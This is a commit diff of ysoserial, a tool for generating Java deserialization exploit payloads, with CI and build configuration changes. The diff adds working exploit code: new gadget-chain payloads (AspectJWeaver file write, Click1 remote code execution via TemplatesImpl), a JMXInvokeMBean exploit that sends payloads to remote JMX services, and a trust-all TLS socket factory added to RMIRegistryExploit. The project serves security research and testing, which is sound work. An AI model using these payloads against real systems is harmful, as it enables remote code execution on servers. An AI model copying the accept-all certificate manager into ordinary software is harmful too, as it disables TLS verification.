another fix attempt

* fix badge url

* switch to https repo url

.github/workflows/publish.yml

@@ -0,0 +1,38 @@
+name: publish jar
+on:
+  push:
+    tags:
+      - "v*.*.*"
+permissions:
+  contents: write
+
+jobs:
+  publish:
+    runs-on: ubuntu-latest
+    permissions:
+      contents: write
+      packages: write
+    steps:
+      - uses: actions/checkout@v3
+      - uses: actions/setup-java@v3
+        with:
+          java-version: '8'
+          distribution: 'adopt'
+          cache: 'maven'
+      - name: Set version
+        run: mvn versions:set -DnewVersion=${{ github.ref_name }}
+      - name: Build jar
+        run: mvn -B clean package -DskipTests 
+      # - name: publish maven jar
+      #   run: mvn -B deploy -DskipTests -DrepositoryId=github
+        env:
+          GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
+
+      - run: ls -la target/ysoserial-${{ github.ref_name }}-all.jar
+
+      - name: Publish GitHub release
+        uses: softprops/action-gh-release@v1
+        env:
+          GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}        
+        with:
+          files: target/ysoserial-${{ github.ref_name }}-all.jar

.travis.yml

@@ -4,17 +4,46 @@ language: java
 cache:
   directories:
   - $HOME/.m2
+  - $HOME/.mvn/
 
-# Travis CI provides OpenJDK 6, OpenJDK 7, Oracle JDK 7, and Oracle JDK 8.
+# jdk6 requires workarounds https://github.com/travis-ci/travis-ci/issues/9713
-# Sun JDK 6 is not provided, because it is EOL as of November 2012.
+addons:
-# OpenJDK 8 is available on our Trusty images, specify dist: trusty to make use of it.
+  apt:
-jdk:
+    packages:
-  - oraclejdk8    
+      - openjdk-6-jdk
-  #- oraclejdk7 #https://github.com/travis-ci/travis-ci/issues/7884
+
-  - openjdk8
+before_install:
-  - openjdk7
+  - > # install mvn 3.2.5 for use with java6
-  #- openjdk6 #https://github.com/travis-ci/travis-ci/issues/8199
+      which $HOME/.mvn/3.2.5/bin/mvn || mkdir -p $HOME/.mvn/3.2.5 &&
+      curl https://apache.osuosl.org/maven/maven-3/3.2.5/binaries/apache-maven-3.2.5-bin.tar.gz |
+      tar xz -C $HOME/.mvn/3.2.5 --strip-components=1
+  - if [ "$TRAVIS_JDK_VERSION" == "openjdk6" ]; then jdk_switcher use openjdk6; fi
+  - mvn -v
+
+after_script:
+  - > # print more detailed info about test results
+      cat target/surefire-reports/TEST-ysoserial.test.payloads.PayloadsTest.xml |
+      grep testcase -A1 | grep -B1 -E 'failure|error|skipped' | grep -v -- --
 
 matrix:
+  fast_finish: true
   allow_failures:
-  - jdk: openjdk7
+    - jdk: oraclejdk11
+    - jdk: openjdk6
+    - jdk: openjdk7
+    - jdk: openjdk9
+    - jdk: openjdk10
+    - jdk: openjdk11
+  include:
+    #- jdk: oraclejdk7 #https://github.com/travis-ci/travis-ci/issues/7884
+    - jdk: oraclejdk8
+    - jdk: oraclejdk11
+    - jdk: openjdk6
+      env: PATH=$HOME/.mvn/3.2.5/bin:$PATH
+    - jdk: openjdk7
+    - jdk: openjdk8
+    - jdk: openjdk9
+    - jdk: openjdk10
+    - jdk: openjdk11
+
+

Dockerfile

@@ -4,6 +4,7 @@ WORKDIR /app
 
 # download artifacts
 COPY pom.xml .
+COPY assembly.xml .
 RUN mvn dependency:resolve
 RUN mvn verify
 RUN mvn compiler:help

README.md

@@ -4,9 +4,9 @@
 [![Join the chat at https://gitter.im/frohoff/ysoserial](
     https://badges.gitter.im/frohoff/ysoserial.svg)](
     https://gitter.im/frohoff/ysoserial?utm_source=badge&utm_medium=badge&utm_campaign=pr-badge&utm_content=badge)
-[![Download Latest Snapshot](https://img.shields.io/badge/download-master--SNAPSHOT-green.svg)](
+[![Download Latest Snapshot](https://img.shields.io/badge/download-master-green.svg)](
     https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar)
-[![Travis Build Status](https://api.travis-ci.org/frohoff/ysoserial.svg?branch=master)](https://travis-ci.org/frohoff/ysoserial)
+[![Travis Build Status](https://api.travis-ci.com/frohoff/ysoserial.svg?branch=master)](https://travis-ci.com/frohoff/ysoserial)
 [![Appveyor Build status](https://ci.appveyor.com/api/projects/status/a8tbk9blgr3yut4g/branch/master?svg=true)](https://ci.appveyor.com/project/frohoff/ysoserial/branch/master)
 
 A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization.
@@ -17,7 +17,7 @@ A proof-of-concept tool for generating payloads that exploit unsafe Java object
 
 Originally released as part of AppSecCali 2015 Talk
 ["Marshalling Pickles: how deserializing objects will ruin your day"](
-        http://frohoff.github.io/appseccali-marshalling-pickles/)
+        https://frohoff.github.io/appseccali-marshalling-pickles/)
 with gadget chains for Apache Commons Collections (3.x and 4.x), Spring Beans/Core (4.x), and Groovy (2.3.x).
 Later updated to include additional gadget chains for
 [JRE <= 1.7u21](https://gist.github.com/frohoff/24af7913611f8406eaf3) and several other libraries.
@@ -47,8 +47,10 @@ Usage: java -jar ysoserial.jar [payload] '[command]'
   Available payload types:
      Payload             Authors                     Dependencies
      -------             -------                     ------------
+     AspectJWeaver       @Jang                       aspectjweaver:1.9.2, commons-collections:3.2.2
      BeanShell1          @pwntester, @cschneider4711 bsh:2.0b5
      C3P0                @mbechler                   c3p0:0.9.5.2, mchange-commons-java:0.2.11
+     Click1              @artsploit                  click-nodeps:2.3.0, javax.servlet-api:3.1.0
      Clojure             @JackOfMostTrades           clojure:1.8.0
      CommonsBeanutils1   @frohoff                    commons-beanutils:1.9.2, commons-collections:3.1, commons-logging:1.2
      CommonsCollections1 @frohoff                    commons-collections:3.1
@@ -57,6 +59,7 @@ Usage: java -jar ysoserial.jar [payload] '[command]'
      CommonsCollections4 @frohoff                    commons-collections4:4.0
      CommonsCollections5 @matthias_kaiser, @jasinner commons-collections:3.1
      CommonsCollections6 @matthias_kaiser            commons-collections:3.1
+     CommonsCollections7 @scristalli, @hanyrax, @EdoardoVignati commons-collections:3.1
      FileUpload1         @mbechler                   commons-fileupload:1.3.1, commons-io:2.4
      Groovy1             @frohoff                    groovy:2.3.9
      Hibernate1          @mbechler
@@ -69,12 +72,14 @@ Usage: java -jar ysoserial.jar [payload] '[command]'
      Jdk7u21             @frohoff
      Jython1             @pwntester, @cschneider4711 jython-standalone:2.5.2
      MozillaRhino1       @matthias_kaiser            js:1.7R2
+     MozillaRhino2       @_tint0                     js:1.7R2
      Myfaces1            @mbechler
      Myfaces2            @mbechler
      ROME                @mbechler                   rome:1.0
      Spring1             @frohoff                    spring-core:4.1.4.RELEASE, spring-beans:4.1.4.RELEASE
      Spring2             @mbechler                   spring-core:4.1.4.RELEASE, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2
      URLDNS              @gebl
+     Vaadin1             @kai_ullrich                vaadin-server:7.7.14, vaadin-shared:7.7.14
      Wicket1             @jacob-baines               wicket-util:6.23.0, slf4j-api:1.6.4
 ```
 
@@ -100,7 +105,7 @@ $ java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit myhost 1099 Common
 
 1. Download the latest jar from
 [JitPack](https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar)
-[![Download Latest Snapshot](https://img.shields.io/badge/download-master--SNAPSHOT-green.svg)](
+[![Download Latest Snapshot](https://img.shields.io/badge/download-master-green.svg)](
     https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar)
 
 Note that GitHub-hosted releases were removed in compliance with the

appveyor.yml

@@ -1,5 +1,4 @@
 # based on https://github.com/GoogleCloudPlatform/google-cloud-java/blob/master/appveyor.yml
-#          and http://www.yegor256.com/2015/01/10/windows-appveyor-maven.html
 
 # build version
 version: '{build}'
@@ -11,43 +10,31 @@ skip_tags: true
 environment:
   matrix:
     - JAVA_HOME: C:\Program Files\Java\jdk1.6.0
+      M2_HOME: C:\bin\apache-maven-3.2.5
     - JAVA_HOME: C:\Program Files\Java\jdk1.7.0
+      MAVEN_OPTS: -Dhttps.protocols=TLSv1,TLSv1.1,TLSv1.2
     - JAVA_HOME: C:\Program Files\Java\jdk1.8.0
-    - JAVA_HOME: C:\Program Files\Java\jdk9
 
 matrix:
   allow_failures:
     - JAVA_HOME: C:\Program Files\Java\jdk1.6.0
     - JAVA_HOME: C:\Program Files\Java\jdk1.7.0
-    - JAVA_HOME: C:\Program Files\Java\jdk9    
 
-# install jdk6 compatible maven
+# install required tools (maven, secure-file, encrypted files)
 install:
-  - ps: |
+  - cmd: if not exist "C:\bin\apache-maven-3.2.5\bin\*.*" cinst maven --version 3.2.5 --allow-empty-checksums
-      Add-Type -AssemblyName System.IO.Compression.FileSystem
-      if (!(Test-Path -Path "C:\maven" )) {
-        (new-object System.Net.WebClient).DownloadFile(
-          'http://www.us.apache.org/dist/maven/maven-3/3.2.5/binaries/apache-maven-3.2.5-bin.zip',
-          'C:\maven-bin.zip'
-        )
-        [System.IO.Compression.ZipFile]::ExtractToDirectory("C:\maven-bin.zip", "C:\maven")
-      }
-  - cmd: SET PATH=C:\maven\apache-maven-3.2.5\bin;%JAVA_HOME%\bin;%PATH%
-  - cmd: SET M2_HOME=C:\maven\apache-maven-3.2.5\
-  - cmd: echo %PATH%
   - cmd: echo %JAVA_HOME%
   - cmd: echo %M2_HOME%
-  - cmd: mvn -v
 
 # build and install artifacts
 build_script:
-  - mvn clean install -DskipTests
+  - '"%M2_HOME%\bin\mvn" clean install -DskipTests'
 
 # verify artifacts
 test_script:
-  - mvn test
+  - '"%M2_HOME%\bin\mvn" test'
 
 # preserve dependencies between builds
 cache:
-  - C:\maven
   - C:\Users\appveyor\.m2
+  - C:\bin\apache-maven-3.2.5

assembly.xml

@@ -0,0 +1,28 @@
+<assembly
+    xmlns="http://maven.apache.org/plugins/maven-assembly-plugin/assembly/1.1.3"
+    xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+    xsi:schemaLocation="http://maven.apache.org/plugins/maven-assembly-plugin/assembly/1.1.3 http://maven.apache.org/xsd/assembly-1.1.3.xsd">
+    <id>fat-tests</id>
+    <formats>
+        <format>jar</format>
+    </formats>
+    <includeBaseDirectory>false</includeBaseDirectory>
+    <dependencySets>
+        <dependencySet>
+            <outputDirectory>/</outputDirectory>
+            <useProjectArtifact>true</useProjectArtifact>
+            <unpack>true</unpack>
+            <scope>test</scope>
+        </dependencySet>
+    </dependencySets>
+    <fileSets>
+        <fileSet>
+            <directory>${project.build.directory}/test-classes</directory>
+            <outputDirectory>/</outputDirectory>
+            <includes>
+                <include>**/*.class</include>
+            </includes>
+            <useDefaultExcludes>true</useDefaultExcludes>
+        </fileSet>
+    </fileSets>
+</assembly>

pom.xml

@@ -39,10 +39,8 @@
 							<mainClass>ysoserial.GeneratePayload</mainClass>
 						</manifest>
 					</archive>
-					<descriptorRefs>
+                    <descriptor>assembly.xml</descriptor>
-						<descriptorRef>jar-with-dependencies</descriptorRef>
+                </configuration>
-					</descriptorRefs>
-				</configuration>
 				<executions>
 					<execution>
 						<id>make-assembly</id>
@@ -56,7 +54,7 @@
 			<plugin>
 		        <groupId>org.apache.maven.plugins</groupId>
 		        <artifactId>maven-surefire-plugin</artifactId>
-                <version>2.20</version>
+                <version>3.0.0-M1</version>
 		        <configuration>
 			        <trimStackTrace>false</trimStackTrace>
 			        <systemPropertyVariables>
@@ -71,7 +69,7 @@
 		<repository>
 			<id>jenkins</id>
 			<layout>default</layout>
-			<url>http://repo.jenkins-ci.org/public/</url>
+			<url>https://repo.jenkins-ci.org/public/</url>
 		</repository>
 	</repositories>
 
@@ -115,7 +113,7 @@
 		<dependency>
 			<groupId>org.jboss.shrinkwrap.resolver</groupId>
 			<artifactId>shrinkwrap-resolver-depchain</artifactId>
-			<version>2.1.1</version>
+			<version>2.2.6</version>
 			<type>pom</type>
 		</dependency>
 		<dependency>
@@ -123,11 +121,21 @@
 			<artifactId>javassist</artifactId>
 			<version>3.19.0-GA</version>
 		</dependency>
+		<dependency>
+			<groupId>com.nqzero</groupId>
+			<artifactId>permit-reflect</artifactId>
+			<version>0.3</version>
+		</dependency>
 		<dependency>
 			<groupId>commons-codec</groupId>
 			<artifactId>commons-codec</artifactId>
 			<version>1.9</version>
 		</dependency>
+        <dependency>
+            <groupId>commons-io</groupId>
+            <artifactId>commons-io</artifactId>
+            <version>2.6</version>
+        </dependency>
 		<dependency>
 			<artifactId>remoting</artifactId>
 			<groupId>org.jenkins-ci.main</groupId>
@@ -228,7 +236,7 @@
 			<artifactId>commons-fileupload</artifactId>
 			<version>1.3</version>
 		</dependency>
-		<dependency>
+        <dependency>
 			<groupId>org.apache.wicket</groupId>
 			<artifactId>wicket-util</artifactId>
 			<version>6.23.0</version>
@@ -303,14 +311,71 @@
 			<artifactId>slf4j-api</artifactId>
 			<version>1.7.21</version>
 		</dependency>
+        <dependency>
+            <groupId>org.slf4j</groupId>
+            <artifactId>slf4j-jdk14</artifactId>
+            <version>1.7.21</version>
+        </dependency>
 		<dependency>
 			<groupId>org.clojure</groupId>
 			<artifactId>clojure</artifactId>
 			<version>1.8.0</version>
 		</dependency>
+		<dependency>
+			<groupId>com.vaadin</groupId>
+			<artifactId>vaadin-server</artifactId>
+			<version>7.7.14</version>
+		</dependency>
+        <dependency>
+            <groupId>org.aspectj</groupId>
+            <artifactId>aspectjweaver</artifactId>
+            <version>1.9.5</version>
+        </dependency>
+        <dependency>
+            <groupId>org.apache.click</groupId>
+            <artifactId>click-nodeps</artifactId>
+            <version>2.3.0</version>
+        </dependency>
 	</dependencies>
 
 	<profiles>
+        <profile>
+            <id>jdk6</id>
+            <activation>
+                <jdk>1.6</jdk>
+            </activation>
+            <build>
+                <plugins>
+                    <plugin>
+                        <groupId>org.apache.maven.plugins</groupId>
+                        <artifactId>maven-surefire-plugin</artifactId>
+                        <version>2.22.1</version>
+                    </plugin>
+                </plugins>
+            </build>
+            <dependencies>
+                <dependency>
+                    <groupId>javax.el</groupId>
+                    <artifactId>javax.el-api</artifactId>
+                    <version>3.0.0</version>
+                </dependency>
+            </dependencies>
+            <!-- workaround for non-overlapping TLS versions in JDK6 and central repo
+             https://central.sonatype.org/articles/2018/May/04/discontinued-support-for-tlsv11-and-below/ -->
+            <repositories>
+                <repository>
+                    <id>repo1</id>
+                    <url>http://repo1.maven.org/maven2</url><!-- intentionally http (see above) -->
+                </repository>
+            </repositories>
+            <pluginRepositories>
+                <pluginRepository>
+                    <id>repo1</id>
+                    <url>http://repo1.maven.org/maven2</url><!-- intentionally http (see above) -->
+                </pluginRepository>
+            </pluginRepositories>
+        </profile>
+
 		<profile>
 			<id>hibernate5</id>
 			<activation>
@@ -324,6 +389,11 @@
 					<artifactId>hibernate-core</artifactId>
 					<version>5.0.7.Final</version>
 				</dependency>
+                <dependency>
+                    <groupId>javax.el</groupId>
+                    <artifactId>javax.el-api</artifactId>
+                    <version>3.0.0</version>
+                </dependency>
 			</dependencies>
 		</profile>
 
@@ -368,4 +438,11 @@
 		</profile>
 
 	</profiles>
+    <distributionManagement>
+        <repository>
+            <id>github</id>
+            <name>GitHub Packages</name>
+            <url>https://maven.pkg.github.com/frohoff/ysoserial</url>
+        </repository>
+    </distributionManagement>	
 </project>

src/main/java/ysoserial/exploit/JBoss.java

@@ -64,6 +64,7 @@ import org.xnio.ssl.JsseXnioSsl;
 import org.xnio.ssl.XnioSsl;
 
 import ysoserial.payloads.ObjectPayload.Utils;
+import ysoserial.payloads.util.Reflections;
 
 
 /**
@@ -272,7 +273,7 @@ public class JBoss {
         VersionedConnection vc;
         Class<?> vcf = Class.forName("org.jboss.remotingjmx.VersionedConectionFactory");
         Method vcCreate = vcf.getDeclaredMethod("createVersionedConnection", Channel.class, Map.class, JMXServiceURL.class);
-        vcCreate.setAccessible(true);
+        Reflections.setAccessible(vcCreate);
         vc = (VersionedConnection) vcCreate.invoke(null, c, new HashMap(), new JMXServiceURL("service:jmx:remoting-jmx://"));
         return vc;
     }

src/main/java/ysoserial/exploit/JMXInvokeMBean.java

@@ -0,0 +1,39 @@
+package ysoserial.exploit;
+
+import javax.management.MBeanServerConnection;
+import javax.management.ObjectName;
+import javax.management.remote.JMXConnector;
+import javax.management.remote.JMXConnectorFactory;
+import javax.management.remote.JMXServiceURL;
+
+import ysoserial.payloads.ObjectPayload.Utils;
+
+/*
+ * Utility program for exploiting RMI based JMX services running with required gadgets available in their ClassLoader.
+ * Attempts to exploit the service by invoking a method on a exposed MBean, passing the payload as argument.
+ * 
+ */
+public class JMXInvokeMBean {
+
+	public static void main(String[] args) throws Exception {
+	
+		if ( args.length < 4 ) {
+			System.err.println(JMXInvokeMBean.class.getName() + " <host> <port> <payload_type> <payload_arg>");
+			System.exit(-1);
+		}
+    	
+		JMXServiceURL url = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://" + args[0] + ":" + args[1] + "/jmxrmi");
+        
+		JMXConnector jmxConnector = JMXConnectorFactory.connect(url);
+		MBeanServerConnection mbeanServerConnection = jmxConnector.getMBeanServerConnection();
+
+		// create the payload
+		Object payloadObject = Utils.makePayloadObject(args[2], args[3]);   
+		ObjectName mbeanName = new ObjectName("java.util.logging:type=Logging");
+
+		mbeanServerConnection.invoke(mbeanName, "getLoggerLevel", new Object[]{payloadObject}, new String[]{String.class.getCanonicalName()});
+
+		//close the connection
+		jmxConnector.close();
+    }
+}

src/main/java/ysoserial/exploit/JenkinsCLI.java

@@ -24,6 +24,7 @@ import hudson.remoting.Channel;
 import hudson.remoting.Channel.Mode;
 import hudson.remoting.ChannelBuilder;
 import ysoserial.payloads.ObjectPayload.Utils;
+import ysoserial.payloads.util.Reflections;
 
 /**
  * Jenkins CLI client
@@ -73,7 +74,7 @@ public class JenkinsCLI {
             throws ClassNotFoundException, NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
         Class<?> reqClass = Class.forName("hudson.remoting.RemoteInvocationHandler$RPCRequest");
         Constructor<?> reqCons = reqClass.getDeclaredConstructor(int.class, Method.class, Object[].class);
-        reqCons.setAccessible(true);
+        Reflections.setAccessible(reqCons);
         Object getJarLoader = reqCons
                 .newInstance(1, Class.forName("hudson.remoting.IChannel").getMethod("getProperty", Object.class), new Object[] {
                     prop

src/main/java/ysoserial/exploit/JenkinsListener.java

@@ -117,7 +117,7 @@ public class JenkinsListener {
     private static Object makeIsPresentOnRemoteCallable ( int oid, Object uro, Class<?> reqClass )
             throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException, ClassNotFoundException {
         Constructor<?> reqCons = reqClass.getDeclaredConstructor(int.class, Method.class, Object[].class);
-        reqCons.setAccessible(true);
+        Reflections.setAccessible(reqCons);
         return reqCons
                 .newInstance(oid, JarLoader.class.getMethod("isPresentOnRemote", Class.forName("hudson.remoting.Checksum")), new Object[] {
                     uro,

src/main/java/ysoserial/exploit/RMIRegistryExploit.java

@@ -1,9 +1,15 @@
 package ysoserial.exploit;
 
+import java.io.IOException;
+import java.net.Socket;
+import java.rmi.ConnectIOException;
 import java.rmi.Remote;
 import java.rmi.registry.LocateRegistry;
 import java.rmi.registry.Registry;
+import java.rmi.server.RMIClientSocketFactory;
+import java.security.cert.X509Certificate;
 import java.util.concurrent.Callable;
+import javax.net.ssl.*;
 
 import ysoserial.payloads.CommonsCollections1;
 import ysoserial.payloads.ObjectPayload;
@@ -20,14 +26,41 @@ import ysoserial.secmgr.ExecCheckingSecurityManager;
  */
 @SuppressWarnings({"rawtypes", "unchecked"})
 public class RMIRegistryExploit {
+	private static class TrustAllSSL implements X509TrustManager {
+		private static final X509Certificate[] ANY_CA = {};
+		public X509Certificate[] getAcceptedIssuers() { return ANY_CA; }
+		public void checkServerTrusted(final X509Certificate[] c, final String t) { /* Do nothing/accept all */ }
+		public void checkClientTrusted(final X509Certificate[] c, final String t) { /* Do nothing/accept all */ }
+	}
+
+	private static class RMISSLClientSocketFactory implements RMIClientSocketFactory {
+		public Socket createSocket(String host, int port) throws IOException {
+			try {
+				SSLContext ctx = SSLContext.getInstance("TLS");
+				ctx.init(null, new TrustManager[] {new TrustAllSSL()}, null);
+				SSLSocketFactory factory = ctx.getSocketFactory();
+				return factory.createSocket(host, port);
+			} catch(Exception e) {
+				throw new IOException(e);
+			}
+		}
+	}
+
 	public static void main(final String[] args) throws Exception {
 		final String host = args[0];
 		final int port = Integer.parseInt(args[1]);
 		final String command = args[3];
-		final Registry registry = LocateRegistry.getRegistry(host, port);
+		Registry registry = LocateRegistry.getRegistry(host, port);
 		final String className = CommonsCollections1.class.getPackage().getName() +  "." + args[2];
 		final Class<? extends ObjectPayload> payloadClass = (Class<? extends ObjectPayload>) Class.forName(className);
 
+		// test RMI registry connection and upgrade to SSL connection on fail
+		try {
+			registry.list();
+		} catch(ConnectIOException ex) {
+			registry = LocateRegistry.getRegistry(host, port, new RMISSLClientSocketFactory());
+		}
+
 		// ensure payload doesn't detonate during construction or deserialization
 		exploit(registry, payloadClass, command);
 	}

src/main/java/ysoserial/payloads/AspectJWeaver.java

@@ -0,0 +1,107 @@
+package ysoserial.payloads;
+
+import org.apache.commons.codec.binary.Base64;
+import org.apache.commons.collections.Transformer;
+import org.apache.commons.collections.functors.ConstantTransformer;
+import org.apache.commons.collections.keyvalue.TiedMapEntry;
+import org.apache.commons.collections.map.LazyMap;
+import ysoserial.payloads.annotation.Authors;
+import ysoserial.payloads.annotation.Dependencies;
+import ysoserial.payloads.annotation.PayloadTest;
+import ysoserial.payloads.util.PayloadRunner;
+import ysoserial.payloads.util.Reflections;
+
+import java.io.Serializable;
+import java.lang.reflect.Constructor;
+import java.lang.reflect.Field;
+import java.util.HashMap;
+import java.util.HashSet;
+import java.util.Map;
+
+/*
+Gadget chain:
+HashSet.readObject()
+    HashMap.put()
+        HashMap.hash()
+            TiedMapEntry.hashCode()
+                TiedMapEntry.getValue()
+                    LazyMap.get()
+                        SimpleCache$StorableCachingMap.put()
+                            SimpleCache$StorableCachingMap.writeToPath()
+                                FileOutputStream.write()
+
+Usage:
+args = "<filename>;<base64 content>"
+Example:
+java -jar ysoserial.jar AspectJWeaver "ahi.txt;YWhpaGloaQ=="
+
+More information:
+https://medium.com/nightst0rm/t%C3%B4i-%C4%91%C3%A3-chi%E1%BA%BFm-quy%E1%BB%81n-%C4%91i%E1%BB%81u-khi%E1%BB%83n-c%E1%BB%A7a-r%E1%BA%A5t-nhi%E1%BB%81u-trang-web-nh%C6%B0-th%E1%BA%BF-n%C3%A0o-61efdf4a03f5
+ */
+@PayloadTest(skip="non RCE")
+@SuppressWarnings({"rawtypes", "unchecked"})
+@Dependencies({"org.aspectj:aspectjweaver:1.9.2", "commons-collections:commons-collections:3.2.2"})
+@Authors({ Authors.JANG })
+
+public class AspectJWeaver implements ObjectPayload<Serializable> {
+
+    public Serializable getObject(final String command) throws Exception {
+        int sep = command.lastIndexOf(';');
+        if ( sep < 0 ) {
+            throw new IllegalArgumentException("Command format is: <filename>:<base64 Object>");
+        }
+        String[] parts = command.split(";");
+        String filename = parts[0];
+        byte[] content = Base64.decodeBase64(parts[1]);
+
+        Constructor ctor = Reflections.getFirstCtor("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap");
+        Object simpleCache = ctor.newInstance(".", 12);
+        Transformer ct = new ConstantTransformer(content);
+        Map lazyMap = LazyMap.decorate((Map)simpleCache, ct);
+        TiedMapEntry entry = new TiedMapEntry(lazyMap, filename);
+        HashSet map = new HashSet(1);
+        map.add("foo");
+        Field f = null;
+        try {
+            f = HashSet.class.getDeclaredField("map");
+        } catch (NoSuchFieldException e) {
+            f = HashSet.class.getDeclaredField("backingMap");
+        }
+
+        Reflections.setAccessible(f);
+        HashMap innimpl = (HashMap) f.get(map);
+
+        Field f2 = null;
+        try {
+            f2 = HashMap.class.getDeclaredField("table");
+        } catch (NoSuchFieldException e) {
+            f2 = HashMap.class.getDeclaredField("elementData");
+        }
+
+        Reflections.setAccessible(f2);
+        Object[] array = (Object[]) f2.get(innimpl);
+
+        Object node = array[0];
+        if(node == null){
+            node = array[1];
+        }
+
+        Field keyField = null;
+        try{
+            keyField = node.getClass().getDeclaredField("key");
+        }catch(Exception e){
+            keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
+        }
+
+        Reflections.setAccessible(keyField);
+        keyField.set(node, entry);
+
+        return map;
+
+    }
+
+    public static void main(String[] args) throws Exception {
+        args = new String[]{"ahi.txt;YWhpaGloaQ=="};
+        PayloadRunner.run(AspectJWeaver.class, args);
+    }
+}

src/main/java/ysoserial/payloads/C3P0.java

@@ -38,7 +38,7 @@ import ysoserial.payloads.util.Reflections;
  * @author mbechler
  *
  */
-@PayloadTest ( harness = "ysoserial.payloads.RemoteClassLoadingTest" )
+@PayloadTest ( harness="ysoserial.test.payloads.RemoteClassLoadingTest" )
 @Dependencies( { "com.mchange:c3p0:0.9.5.2" ,"com.mchange:mchange-commons-java:0.2.11"} )
 @Authors({ Authors.MBECHLER })
 public class C3P0 implements ObjectPayload<Object> {

src/main/java/ysoserial/payloads/Click1.java

@@ -0,0 +1,81 @@
+package ysoserial.payloads;
+
+import org.apache.click.control.Column;
+import org.apache.click.control.Table;
+import ysoserial.payloads.annotation.Authors;
+import ysoserial.payloads.annotation.Dependencies;
+import ysoserial.payloads.util.Gadgets;
+import ysoserial.payloads.util.PayloadRunner;
+import ysoserial.payloads.util.Reflections;
+
+import java.math.BigInteger;
+import java.util.Comparator;
+import java.util.PriorityQueue;
+
+/*
+    Apache Click chain based on arbitrary getter calls in PropertyUtils.getObjectPropertyValue().
+    We use java.util.PriorityQueue to trigger ColumnComparator.compare().
+    After that, ColumnComparator.compare() leads to TemplatesImpl.getOutputProperties() via unsafe reflection.
+
+    Chain:
+
+    java.util.PriorityQueue.readObject()
+      java.util.PriorityQueue.heapify()
+        java.util.PriorityQueue.siftDown()
+          java.util.PriorityQueue.siftDownUsingComparator()
+            org.apache.click.control.Column$ColumnComparator.compare()
+              org.apache.click.control.Column.getProperty()
+                org.apache.click.control.Column.getProperty()
+                  org.apache.click.util.PropertyUtils.getValue()
+                    org.apache.click.util.PropertyUtils.getObjectPropertyValue()
+                      java.lang.reflect.Method.invoke()
+                        com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getOutputProperties()
+                        ...
+
+    Arguments:
+    - command to execute
+
+    Yields:
+    - RCE via TemplatesImpl.getOutputProperties()
+
+    Requires:
+    - Apache Click
+    - servlet-api of any version
+
+    by @artsploit
+*/
+@SuppressWarnings({ "rawtypes", "unchecked" })
+@Dependencies({"org.apache.click:click-nodeps:2.3.0", "javax.servlet:javax.servlet-api:3.1.0"})
+@Authors({ Authors.ARTSPLOIT })
+public class Click1 implements ObjectPayload<Object> {
+
+    public Object getObject(final String command) throws Exception {
+
+        // prepare a Column.comparator with mock values
+        final Column column = new Column("lowestSetBit");
+        column.setTable(new Table());
+        Comparator comparator = (Comparator) Reflections.newInstance("org.apache.click.control.Column$ColumnComparator", column);
+
+        // create queue with numbers and our comparator
+        final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
+        // stub data for replacement later
+        queue.add(new BigInteger("1"));
+        queue.add(new BigInteger("1"));
+
+        // switch method called by the comparator,
+        // so it will trigger getOutputProperties() when objects in the queue are compared
+        column.setName("outputProperties");
+
+        // finally, we inject and new TemplatesImpl object into the queue,
+        // so its getOutputProperties() method will be called
+        final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
+        final Object templates = Gadgets.createTemplatesImpl(command);
+        queueArray[0] = templates;
+
+        return queue;
+    }
+
+    public static void main(final String[] args) throws Exception {
+        PayloadRunner.run(Click1.class, args);
+    }
+}

src/main/java/ysoserial/payloads/CommonsCollections5.java

@@ -24,22 +24,21 @@ import ysoserial.payloads.util.Reflections;
 
 /*
 	Gadget chain:
-		ObjectInputStream.readObject()
+        ObjectInputStream.readObject()
-			AnnotationInvocationHandler.readObject()
+            BadAttributeValueExpException.readObject()
-				Map(Proxy).entrySet()
+                TiedMapEntry.toString()
-					AnnotationInvocationHandler.invoke()
+                    LazyMap.get()
-						LazyMap.get()
+                        ChainedTransformer.transform()
-							ChainedTransformer.transform()
+                            ConstantTransformer.transform()
-								ConstantTransformer.transform()
+                            InvokerTransformer.transform()
-								InvokerTransformer.transform()
+                                Method.invoke()
-									Method.invoke()
+                                    Class.getMethod()
-										Class.getMethod()
+                            InvokerTransformer.transform()
-								InvokerTransformer.transform()
+                                Method.invoke()
-									Method.invoke()
+                                    Runtime.getRuntime()
-										Runtime.getRuntime()
+                            InvokerTransformer.transform()
-								InvokerTransformer.transform()
+                                Method.invoke()
-									Method.invoke()
+                                    Runtime.exec()
-										Runtime.exec()
 
 	Requires:
 		commons-collections
@@ -49,7 +48,6 @@ This only works in JDK 8u76 and WITHOUT a security manager
 
 https://github.com/JetBrains/jdk8u_jdk/commit/af2361ee2878302012214299036b3a8b4ed36974#diff-f89b1641c408b60efe29ee513b3d22ffR70
  */
-//@PayloadTest(skip="need more robust way to detect Runtime.exec() without SecurityManager()")
 @SuppressWarnings({"rawtypes", "unchecked"})
 @PayloadTest ( precondition = "isApplicableJavaVersion")
 @Dependencies({"commons-collections:commons-collections:3.1"})
@@ -82,7 +80,7 @@ public class CommonsCollections5 extends PayloadRunner implements ObjectPayload<
 
 		BadAttributeValueExpException val = new BadAttributeValueExpException(null);
 		Field valfield = val.getClass().getDeclaredField("val");
-		valfield.setAccessible(true);
+        Reflections.setAccessible(valfield);
 		valfield.set(val, entry);
 
 		Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain

src/main/java/ysoserial/payloads/CommonsCollections6.java

@@ -9,6 +9,7 @@ import org.apache.commons.collections.map.LazyMap;
 import ysoserial.payloads.annotation.Authors;
 import ysoserial.payloads.annotation.Dependencies;
